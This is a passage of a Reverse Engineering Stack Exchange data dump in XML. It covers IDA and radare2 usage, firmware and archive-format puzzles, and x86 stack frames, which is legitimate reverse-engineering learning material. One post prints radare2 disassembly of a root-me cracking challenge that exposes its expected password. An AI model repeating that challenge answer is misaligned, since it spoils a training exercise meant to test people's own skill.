catch.&#xA;Storing the trace could be very heavy, the overhead could be excessive, you can't easily build expressions from the trace, ...&#xA;If you want to stay with a trace, I think you should probably write a custom tool which parse the code and optimize it. For instance: for each assignment on the stack, keep the exact address and value. At the end of each piece of code (e.g. call to a imported function, address is already executed, ...) you can remove useless write on the stack.&#xA;I can't guarantee it'll work on this case. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, can you share the executable?&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-02T23:32:28.073" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20269" PostTypeId="2" ParentId="20262" CreationDate="2019-01-03T00:56:15.437" Score="0" Body="&lt;p&gt;A compiler has to translate the language that you know (C++) to the language that the computer knows.  A linker then links together your code with referenced libraries and creates an executable.  In order to turn it back into a form that you can read, IDA reads the computer's language and translates it into a disassembly.  Both compilation and disassembly are complicated processes.  &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science&quot;&gt;Disassembly itself is a hard problem&lt;/a&gt;, including function identification and boundary detection.  In addition to inaccuracies in the disassembly process, the executable building process does several things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, your source code is translated into machine code, and all modern compilers have various heuristics and rules they use to optimize the code.  Take a look at the &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs for gcc&lt;/a&gt; and the &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/ox-full-optimization?view=vs-2017&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs for Visual Studio&lt;/a&gt;.  Sometimes this means decreasing the number of functions (for example, inlining), and sometimes it means increasing (for example, thunks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, either implicitly or explicitly, your source code is referencing lots of other source code, with includes, and includes within those included files, and includes within those included files... some of which cause the linker to dynamically link (add references to) libraries, and some of which cause the linker to statically link (copy and append to your code) those libraries.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-03T00:56:15.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20272" PostTypeId="1" CreationDate="2019-01-03T12:34:08.577" Score="0" ViewCount="682" Body="&lt;p&gt;I'm trying to reverse engineer an ARM Thumb2 firmware binary, and I've come across a few oddities. Parts of the file when treated as RGB binary data form perfect images, which seems unusual for a firmware file, and when visualised by turning each byte into a greyscale pixel (0x00 as magenta for clarity) around the middle of the file there's a large section of nulls with 64 strips of data that seem to line up perfectly with a width of 404px: &lt;a href=&quot;https://i.stack.imgur.com/lnxB5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnxB5.png&quot; alt=&quot;64 strips&quot;&gt;&lt;/a&gt; These strips are exactly 8x76 and appear to form pairs. Attempting to extract them and decode as raw image data resulted in garbage, and I'm at a bit of a loss as to what they are and what they're doing in a firmware binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target processor for this binary is a Xilinx 7000, and the start of the binary does appear to contain FPGA data for this. The binary is at &lt;a href=&quot;https://drive.google.com/open?id=1rmCRP_mdGLx4QQ4HurL7a3TEiXe_kHn3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1rmCRP_mdGLx4QQ4HurL7a3TEiXe_kHn3&lt;/a&gt; and if anyone has any idea as to what those strips (or other parts of the file too, to be honest) might be, that would be amazing.&lt;/p&gt;&#xA;" OwnerDisplayName="user26954" LastActivityDate="2019-01-05T00:15:55.880" Title="Confused about a firmware binary" Tags="|firmware|arm|thumb2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20273" PostTypeId="2" ParentId="11184" CreationDate="2019-01-03T13:22:13.067" Score="0" Body="&lt;p&gt;You can use the following function in order to get the local variable value by its name(IDA 7+):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc &#xA;import ida_frame &#xA;import ida_struct &#xA;&#xA;def get_local_var_value_64(loc_var_name):&#xA;    frame = ida_frame.get_frame(idc.here())&#xA;    loc_var = ida_struct.get_member_by_name(frame, loc_var_name)&#xA;    loc_var_ea = loc_var.soff + idc.GetRegValue(&quot;RSP&quot;)&#xA;    # In case the variable is 32bit, use get_wide_dword() instead:&#xA;    loc_var_value = idc.read_dbg_qword(loc_var_ea) &#xA;    return loc_var_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26955" LastActivityDate="2019-01-03T13:22:13.067" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20274" PostTypeId="2" ParentId="19261" CreationDate="2019-01-03T15:51:52.907" Score="3" Body="&lt;p&gt;What you are asking for is called &lt;a href=&quot;https://blog.zynamics.com/2010/01/19/binnavi-3-0-preview-improved-differential-debugging/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Differential Debugging&amp;quot;&lt;/a&gt;. Take a look to &lt;a href=&quot;https://web.archive.org/web/20191016043447/https://www.hex-rays.com/products/ida/support/tutorials/replayer/trace_replayer.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; to see how to do so with IDA without requiring any kind of plugins, just built-in functionality.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2020-08-27T09:17:41.437" LastActivityDate="2020-08-27T09:17:41.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20276" PostTypeId="2" ParentId="14207" CreationDate="2019-01-03T23:34:20.337" Score="2" Body="&lt;p&gt;Here are symbol prefixes with examples, as output by the Radare2 command &quot;axj&quot; from C:\Windows\system32\gdi32.dll:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sym.imp.* : &quot;sym.imp.KERNEL32.dll_UnhandledExceptionFilter&quot;&lt;/li&gt;&#xA;&lt;li&gt;sub.* : &quot;sub.KERNEL32.dll_RtlCaptureContext_614+410&quot; or &quot;sym.imp.ole32.dll_ReleaseStgMedium+56&quot; (Note the library name in upper- or lowercase)&lt;/li&gt;&#xA;&lt;li&gt;fcn.* : &quot;fcn.18000587c+41&quot;&lt;/li&gt;&#xA;&lt;li&gt;str.* : &quot;str.._AUIDropTarget+584&quot; or &quot;str.PyShellExt::GetArguments___failed_to_lock_CF_HDROP_hGlobal+124&quot; or &quot;str.memset&quot; (One or two dots)&lt;/li&gt;&#xA;&lt;li&gt;section.* : &quot;section..data+16&quot;&lt;/li&gt;&#xA;&lt;li&gt;switch.* : &quot;switch.0x180004860&quot;&lt;/li&gt;&#xA;&lt;li&gt;case.* : &quot;case.default.0x180004820&quot;&lt;/li&gt;&#xA;&lt;li&gt;resource.* : &quot;resource.1&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only explanation I could find is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/intro/navigation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Flags generally have a prefix in their name, such as str., sym., sub., fcn.&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Those names are called ‘flags’. Flags can be grouped into ‘flag spaces’&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested, &quot;fs&quot; command displays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x180005218]&amp;gt; fs&#xA;0  247 * strings&#xA;1    5 * symbols&#xA;2    8 * sections&#xA;3    0 * segments&#xA;4   79 * relocs&#xA;5   79 * imports&#xA;6    2 * resources&#xA;7  104 * functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information about flags and flagspaces here:&#xA;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2, basic commands, flags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26962" LastEditorUserId="26962" LastEditDate="2019-01-04T08:14:15.917" LastActivityDate="2019-01-04T08:14:15.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20277" PostTypeId="2" ParentId="20226" CreationDate="2019-01-04T00:29:48.867" Score="1" Body="&lt;p&gt;Hexrays &lt;a href=&quot;https://www.hex-rays.com/cgi-bin/quote.cgi&quot; rel=&quot;nofollow noreferrer&quot;&gt;sells&lt;/a&gt; a &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompiler plugin for IDA Pro&lt;/a&gt;.  If you have a supported (purchased or renewed within the last year) version of IDA Pro, then you can purchase one of the ARM decompiler plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried the following, but have heard of them (so add a comment about how well it works if you do try one!)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's the opensource &lt;a href=&quot;https://github.com/yegord/snowman&quot; rel=&quot;nofollow noreferrer&quot;&gt;snowman decompiler&lt;/a&gt;.  It has been around for a few years now.  Its website says it supports ARM and is available for radare2, x64dbg, multiple versions of IDA Pro, and as a standalone application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another opensource one is &lt;a href=&quot;https://github.com/avast-tl/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;RetDec&lt;/a&gt;.  Looks like it was just released late last year, but is from a well regarded AV company (Avast) and supposedly has been in development and use privately for several years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also heard of the commercial &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper&lt;/a&gt; product, which specializes in macOS executables, but not sure how good the built-in decompiler is.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-04T00:29:48.867" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20278" PostTypeId="1" AcceptedAnswerId="20547" CreationDate="2019-01-04T09:58:50.887" Score="1" ViewCount="1055" Body="&lt;p&gt;While learning RE I have come across this large segment of instructions that contains a majority of &lt;code&gt;mov [ebp+offset], value&lt;/code&gt; instructions. I believe that &lt;code&gt;ebp + offset&lt;/code&gt; are local variables? I think? Could it really just be &lt;strong&gt;a lot&lt;/strong&gt; of local variables? Or could it actually be a data structure and this is how IDA represents it? I have a theory of what this might be but if anyone knows what this could mean that would be sweet.&lt;/p&gt;&#xA;&lt;p&gt;Here's a screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DAaHF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DAaHF.png&quot; alt=&quot;instructions&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My guess is this is actually a data structure. &lt;code&gt;ebp&lt;/code&gt; is the base address of the structure. The &lt;code&gt;mov&lt;/code&gt; instructions between the &lt;code&gt;mov [...], offset value&lt;/code&gt; are padding bytes. I'm guessing they are just padding bytes since &lt;code&gt;esi&lt;/code&gt; doesn't contain a value (it was &lt;code&gt;xor&lt;/code&gt;-ed with itself at the top of the screenshot) and is &lt;code&gt;mov&lt;/code&gt;'d &lt;code&gt;epb + offset&lt;/code&gt; quite a lot in this block.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas and advice on what is happening in this screenshot would be appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-02-04T12:20:23.907" Title="Lots of mov instructions into ebp+offset - What is happening?" Tags="|disassembly|assembly|binary-analysis|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20280" PostTypeId="2" ParentId="20025" CreationDate="2019-01-04T14:22:53.467" Score="1" Body="&lt;p&gt;A nice framework to look at is &lt;a href=&quot;https://triton.quarkslab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Triton&lt;/a&gt; which does a good job in Dynamic Symbolic Execution. I ended up looking at the code and implementing my own solution with their same approach.&lt;/p&gt;&#xA;" OwnerUserId="12793" LastActivityDate="2019-01-04T14:22:53.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20281" PostTypeId="2" ParentId="20278" CreationDate="2019-01-04T14:36:55.177" Score="0" Body="&lt;p&gt;The &lt;code&gt;mov ebp, esp&lt;/code&gt; sets EBP at top of stack, &lt;code&gt;sub esp, 0F34h&lt;/code&gt; allocates 0xF34 bytes on stack. EBP is used as a base for writing and reading the bytes. This is standard x86 stack frame you can see in many Windows executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the 0xF34 bytes allocates variables and various structures, &lt;strike&gt;perhaps also array of 20-bytes structures&lt;/strike&gt; after reviewing it, this doesn't look right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD pointer to name&#xA;DWORD - no idea what&#xA;DWORD pointer to - no idea what -, can be NULL&#xA;DWORD - no idea what -&#xA;DWORD pointer to DWORD - no idea what -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ESI has value of zero. The &lt;code&gt;mov [...], esi&lt;/code&gt; is used instead of &lt;code&gt;mov [...], 0&lt;/code&gt; because the latter one has longer opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't get confused by the addition in &lt;code&gt;ebp+var&lt;/code&gt;. All the bytes are actually located at lower addresses, below EBP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can learn more about the stack frame for example here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2019-01-04T14:36:55.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20282" PostTypeId="1" CreationDate="2019-01-04T16:35:30.237" Score="2" ViewCount="415" Body="&lt;p&gt;I have a function of the format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_ABCDEF(&amp;amp;global, &quot;stringName&quot;, unimportantValue)&#xA;&#xA;push    offset string&#xA;mov     ecx, offset global&#xA;call    sub_410010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is called in several places, each varying the &amp;amp;global and string location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if it's possible in IDAPython to bulk rename all the &amp;amp;global's to the string value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used XrefsTo(410010, 0) to obtain a list of places the function is called from, but I am unsure how to get the parameters it was called with.&lt;/p&gt;&#xA;" OwnerUserId="25559" LastActivityDate="2019-01-04T16:35:30.237" Title="IDA rename argument in all xrefs to function" Tags="|ida|idapython|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20283" PostTypeId="1" CreationDate="2019-01-04T18:43:35.430" Score="1" ViewCount="237" Body="&lt;p&gt;I'am trying to unpack Android game archive file (.NPK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game is &quot;Nvidia Glowball demo&quot; (it has been pre-installed on my android tablet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archive structure seems to be simple, but I can't decompress the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archive structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 bytes - &quot;BE EF CA FE&quot; signature&#xA;4 bytes - File headers count (little-endian)&#xA;[File headers]&#xA;4 bytes - &quot;BE EF CA FE&quot; signature&#xA;[Files data]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File header structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 bytes - File name length (little-endian)&#xA;[File name]&#xA;8 bytes - Unknown (not a checksum, signature?)&#xA;8 bytes - File offset (little-endian)&#xA;8 bytes - Compressed size (little-endian)&#xA;8 bytes - Uncompressed size? (little-endian)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;initprescenecommon.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1033E64E):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A373h: 16 00 00 00 69 6E 69 74 70 72 65 73 63 65 6E 65  ....initprescene &#xA;A383h: 63 6F 6D 6D 6F 6E 2E 74 78 74 10 33 E6 4E 00 00  common.txt.3.N.. &#xA;A393h: 00 00 F3 45 41 01 00 00 00 00 0A 00 00 00 00 00  ...EA........... &#xA;A3A3h: 00 00 02 00 00 00 00 00 00 00                    ..........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;141:45F3h: 1A F3 84 8A 6F 6F 6A 49 62 77                    ....oojIbw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;teleporter1_enter.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header (10 bytes compressed, 2 bytes uncompressed, unknown field= 1933E64E):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A490h: 15 00 00 00 74 65 6C 65 70 6F 72 74 65 72 31 5F  ....teleporter1_ &#xA;A4A0h: 65 6E 74 65 72 2E 74 78 74 19 33 E6 4E 00 00 00  enter.txt.3.N... &#xA;A4B0h: 00 58 52 41 01 00 00 00 00 0A 00 00 00 00 00 00  .XRA............ &#xA;A4C0h: 00 02 00 00 00 00 00 00 00                       .........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;141:5258h: 1A F3 84 8A 6F 6F 6A 49 62 77                    ....oojIbw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;grate_enter.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header (19 bytes compressed, 11 bytes uncompressed, unknown field= 1033E64E):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1A8h: 0F 00 00 00 67 72 61 74 65 5F 65 6E 74 65 72 2E  ....grate_enter. &#xA;A1B8h: 74 78 74 10 33 E6 4E 00 00 00 00 8E 33 41 01 00  txt.3.N.....3A.. &#xA;A1C8h: 00 00 00 13 00 00 00 00 00 00 00 0B 00 00 00 00  ................ &#xA;A1D8h: 00 00 00                                         ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;141:338Eh: 1A F3 94 40 25 A2 19 40 28 43 2E 8A 88 6D 6A 77  ...@%..@(C...mjw &#xA;141:339Eh: 10 6C FA                                         .l.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theese three files have compressed size bigger than uncompressed. I think this happens because theese are text files.&#xA;For example balltextures_entrance.nma file has 338 bytes compressed and 3263 bytes uncompressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that initprescenecommon.txt and teleporter1_enter.txt have same data, but differ &quot;unknown field&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have some ideas?&lt;/p&gt;&#xA;" OwnerUserId="26971" LastActivityDate="2019-01-04T18:43:35.430" Title="Detect compression algorithm in .NPK archive" Tags="|android|decompress|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20284" PostTypeId="1" AcceptedAnswerId="20291" CreationDate="2019-01-04T20:01:52.607" Score="3" ViewCount="207" Body="&lt;p&gt;I am doing &lt;a href=&quot;https://www.root-me.org/fr/Challenges/Cracking/PE-0-protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;this reverse engenering challenge&lt;/a&gt;. I executed theses commands to analyse the main function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2.exe ch15.exe&#xA;aaa&#xA;s main&#xA;pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the output of the &lt;em&gt;pdf&lt;/em&gt; command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004017b8]&amp;gt; pdf&#xA;/ (fcn) main 80&#xA;|   main (int argc, char **argv, char **envp);&#xA;|           ; arg signed int arg_8h @ ebp+0x8&#xA;|           ; arg char **s @ ebp+0xc&#xA;|           ; var size_t local_4h @ esp+0x4&#xA;|           ; CALL XREF from section..text (+0x3f4)&#xA;|           0x004017b8      55             push ebp&#xA;|           0x004017b9      89e5           mov ebp, esp&#xA;|           0x004017bb      83e4f0         and esp, 0xfffffff0&#xA;|           0x004017be      83ec10         sub esp, 0x10&#xA;|           0x004017c1      e87a0d0000     call fcn.00402540&#xA;|           0x004017c6      837d0801       cmp dword [arg_8h], 1       ; [0x8:4]=-1 ; 1&#xA;|       ,=&amp;lt; 0x004017ca      7e28           jle 0x4017f4&#xA;|       |   0x004017cc      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12&#xA;|       |   0x004017cf      83c004         add eax, 4&#xA;|       |   0x004017d2      8b00           mov eax, dword [eax]&#xA;|       |   0x004017d4      890424         mov dword [esp], eax        ; const char *s&#xA;|       |   0x004017d7      e894100000     call sub.msvcrt.dll_strlen_870 ; size_t strlen(const char *s)&#xA;|       |   0x004017dc      89c2           mov edx, eax&#xA;|       |   0x004017de      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12&#xA;|       |   0x004017e1      83c004         add eax, 4&#xA;|       |   0x004017e4      8b00           mov eax, dword [eax]&#xA;|       |   0x004017e6      89542404       mov dword [local_4h], edx&#xA;|       |   0x004017ea      890424         mov dword [esp], eax&#xA;|       |   0x004017ed      e834ffffff     call sub.Gratz_man_:_726    ; sub.Usage:__s_pass_700+0x26&#xA;|      ,==&amp;lt; 0x004017f2      eb0d           jmp 0x401801&#xA;|      ||   ; CODE XREF from main (0x4017ca)&#xA;|      |`-&amp;gt; 0x004017f4      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12&#xA;|      |    0x004017f7      8b00           mov eax, dword [eax]&#xA;|      |    0x004017f9      890424         mov dword [esp], eax&#xA;|      |    0x004017fc      e8fffeffff     call sub.Usage:__s_pass_700&#xA;|      |    ; CODE XREF from main (0x4017f2)&#xA;|      `--&amp;gt; 0x00401801      b800000000     mov eax, 0&#xA;|           0x00401806      c9             leave&#xA;\           0x00401807      c3             ret&#xA;[0x004017b8]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that a function is called named &lt;em&gt;sub.Usage:__s_pass_700&lt;/em&gt;, probably the password. I go to this function with this command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s sub.Usage:__s_pass_700&#xA;pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401700]&amp;gt; pdf&#xA;/ (fcn) sub.Usage:__s_pass_700 184&#xA;|   sub.Usage:__s_pass_700 (int arg_8h, unsigned int arg_ch);&#xA;|           ; var int local_ch @ ebp-0xc&#xA;|           ; arg int arg_8h @ ebp+0x8&#xA;|           ; arg unsigned int arg_ch @ ebp+0xc&#xA;|           ; var int local_4h @ esp+0x4&#xA;|           ; CALL XREF from main (0x4017fc)&#xA;|           0x00401700      55             push ebp&#xA;|           0x00401701      89e5           mov ebp, esp&#xA;|           0x00401703      83ec18         sub esp, 0x18&#xA;|           0x00401706      b844404000     mov eax, str.Usage:__s_pass ; 0x404044 ; &quot;Usage: %s pass&quot;&#xA;|           0x0040170b      8b5508         mov edx, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|           0x0040170e      89542404       mov dword [local_4h], edx&#xA;|           0x00401712      890424         mov dword [esp], eax        ; const char *format&#xA;|           0x00401715      e896110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)&#xA;|           0x0040171a      c70424000000.  mov dword [esp], 0&#xA;|           0x00401721      e87a110000     call sub.msvcrt.dll_exit_8a0&#xA;|           ;-- sub.Gratz_man_:_726:&#xA;|           ; CALL XREF from main (0x4017ed)&#xA;|           0x00401726      55             push ebp&#xA;|           0x00401727      89e5           mov ebp, esp&#xA;|           0x00401729      83ec28         sub esp, 0x28               ; '('&#xA;|           0x0040172c      c745f4000000.  mov dword [local_ch], 0&#xA;|           0x00401733      837d0c07       cmp dword [arg_ch], 7       ; [0xc:4]=-1 ; 7&#xA;|       ,=&amp;lt; 0x00401737      7571           jne 0x4017aa&#xA;|       |   0x00401739      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|       |   0x0040173c      0fb600         movzx eax, byte [eax]&#xA;|       |   0x0040173f      3c53           cmp al, 0x53                ; 'S' ; 83&#xA;|      ,==&amp;lt; 0x00401741      7567           jne 0x4017aa&#xA;|      ||   0x00401743      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|      ||   0x00401746      83c001         add eax, 1&#xA;|      ||   0x00401749      0fb600         movzx eax, byte [eax]&#xA;|      ||   0x0040174c      3c50           cmp al, 0x50                ; 'P' ; 80&#xA;|     ,===&amp;lt; 0x0040174e      755a           jne 0x4017aa&#xA;|     |||   0x00401750      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|     |||   0x00401753      83c002         add eax, 2&#xA;|     |||   0x00401756      0fb600         movzx eax, byte [eax]&#xA;|     |||   0x00401759      3c61           cmp al, 0x61                ; 'a' ; 97&#xA;|    ,====&amp;lt; 0x0040175b      754d           jne 0x4017aa&#xA;|    ||||   0x0040175d      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|    ||||   0x00401760      83c003         add eax, 3&#xA;|    ||||   0x00401763      0fb600         movzx eax, byte [eax]&#xA;|    ||||   0x00401766      3c43           cmp al, 0x43                ; 'C' ; 67&#xA;|   ,=====&amp;lt; 0x00401768      7540           jne 0x4017aa&#xA;|   |||||   0x0040176a      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|   |||||   0x0040176d      83c004         add eax, 4&#xA;|   |||||   0x00401770      0fb600         movzx eax, byte [eax]&#xA;|   |||||   0x00401773      3c49           cmp al, 0x49                ; 'I' ; 73&#xA;|  ,======&amp;lt; 0x00401775      7533           jne 0x4017aa&#xA;|  ||||||   0x00401777      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;|  ||||||   0x0040177a      83c005         add eax, 5&#xA;|  ||||||   0x0040177d      0fb600         movzx eax, byte [eax]&#xA;|  ||||||   0x00401780      3c6f           cmp al, 0x6f                ; 'o' ; 111&#xA;| ,=======&amp;lt; 0x00401782      7526           jne 0x4017aa&#xA;| |||||||   0x00401784      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8&#xA;| |||||||   0x00401787      83c006         add eax, 6&#xA;| |||||||   0x0040178a      0fb600         movzx eax, byte [eax]&#xA;| |||||||   0x0040178d      3c53           cmp al, 0x53                ; 'S' ; 83&#xA;| ========&amp;lt; 0x0040178f      7519           jne 0x4017aa&#xA;| |||||||   0x00401791      b853404000     mov eax, str.Gratz_man_:    ; 0x404053 ; &quot;Gratz man :)&quot;&#xA;| |||||||   0x00401796      890424         mov dword [esp], eax        ; const char *format&#xA;| |||||||   0x00401799      e812110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)&#xA;| |||||||   0x0040179e      c70424000000.  mov dword [esp], 0&#xA;| |||||||   0x004017a5      e8f6100000     call sub.msvcrt.dll_exit_8a0&#xA;| |||||||   ; XREFS: CODE 0x00401737  CODE 0x00401741  CODE 0x0040174e  CODE 0x0040175b  CODE 0x00401768&#xA;| |||||||   ; XREFS: CODE 0x00401775  CODE 0x00401782  CODE 0x0040178f&#xA;| ```````-&amp;gt; 0x004017aa      c70424604040.  mov dword [esp], str.Wrong_password ; [0x404060:4]=0x6e6f7257 ; &quot;Wrong password&quot; ; const char *s&#xA;|           0x004017b1      e802110000     call sub.msvcrt.dll_puts_8b8 ; int puts(const char *s)&#xA;|           0x004017b6      c9             leave&#xA;\           0x004017b7      c3             ret&#xA;[0x00401700]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can see that the instruction &lt;em&gt;| ========&amp;lt; 0x0040178f      7519           jne 0x4017aa&lt;/em&gt; compare the password with the parameter passed as argument.&#xA;I would like now put a breakpoint on the jne instruction but I can't because the memory is unmapped. I execute the command to execute the program :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ood ABadPassword&#xA;db 0x0040178f&#xA;dc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x771ece30]&amp;gt; dc&#xA;(5448) loading library at 77180000 